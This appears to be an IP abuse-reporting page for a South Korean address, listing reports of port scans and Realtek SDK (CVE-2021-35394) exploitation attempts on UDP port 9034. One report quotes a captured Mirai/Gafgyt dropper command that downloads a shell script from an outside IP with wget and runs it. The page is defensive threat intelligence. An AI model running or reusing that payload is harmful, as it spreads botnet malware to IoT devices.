49.142.33.203
Recent Activity
This IP has received recent abuse reports, which causes the score to increase.
- ISP
- kt HCN Co.,Ltd.
- Usage Type
- Fixed Line ISP
- ASN
- AS9762
- Domain Name
- hcn.co.kr
- Country
- 🇰🇷 Korea (the Republic of)
- City
- Seoul, Seoul
Abuse Reports
Total reports
20 from
19 distinct
reporters
First reported
Most recent report
Recent reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
| Reporter | IoA Timestamp (UTC) | Comment | Categories |
|---|---|---|---|
| 🇨🇿 0x44 |
Realtek SDK - Command Execution/Backdoor Access Inbound
|
Port Scan | |
| 🇫🇷 uthul |
T-Pot honeypot: 1 hits on ports [9034] (automated)
|
Port Scan | |
| 🇧🇷 diego |
[rede-44-49] 11/10/2026-19:04:58.536752, 49.142.33.203, Protocol: 17, ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
|
Hacking | |
| 🇮🇪 RoboSOC |
Realtek Jungle SDK Remote Code Execution Vulnerability, PTR: PTR record not found
|
Hacking | |
| 🇺🇸 HamSammich |
Automated sensor: 1 port 9034 connection/probe attempts over the last 24h (latest 2026-11-10T16:41Z).
|
Port Scan | |
| 🇧🇷 chronos |
Unknown service: Connection attempt to UDP port 9034. | Port: 9034 | Proto: UDP | AS: AS9762 kt HCN Co.,Ltd. | Location: South Korea, Gwanak-gu (~200km)
|
Port Scan | |
| 🇵🇱 ToJa |
2026-11-10 10:16:15 Mirai/Gafgyt botnet infection and remote code execution attempt targeting IoT devices, DPT="9034", PAYLOAD="orf;cd /tmp;rm wget.sh;/bin/busybox wget http://58.211.144.243:800/wget.sh;sh wget.sh realtek; #"
|
Port Scan Web App Attack | |
| 🇺🇸 grassyloki |
|
Hacking Port Scan | |
| 🇫🇮 Maxetow |
Scan port: 9034 | 1 total | size=124B
|
Port Scan | |
| 🇮🇹 Malwhunter |
Suricata IDS (pfSense): ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394) - 1 event(s) to UDP/9034 between 2026-11-09 22:04:16 and 22:04:16 (Europe/Rome)
|
Hacking | |
| 🇧🇷 ICS Labs |
ICS Labs threat intelligence (ICS Feeds): Exploited Host. Last observed 2026-11-09 UTC.
|
Exploited Host | |
| 🇧🇷 diego |
[rede-44-49] 11/09/2026-16:53:32.382776, 49.142.33.203, Protocol: 17, ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
|
Hacking | |
| 🇨🇭 SOC [GOLINE SA] |
|
Exploited Host Hacking | |
| 🇩🇪 iNetWorker |
firewall-block, port(s): 9034/udp
|
Port Scan | |
| 🇹🇭 MWA SOC |
|
Hacking |
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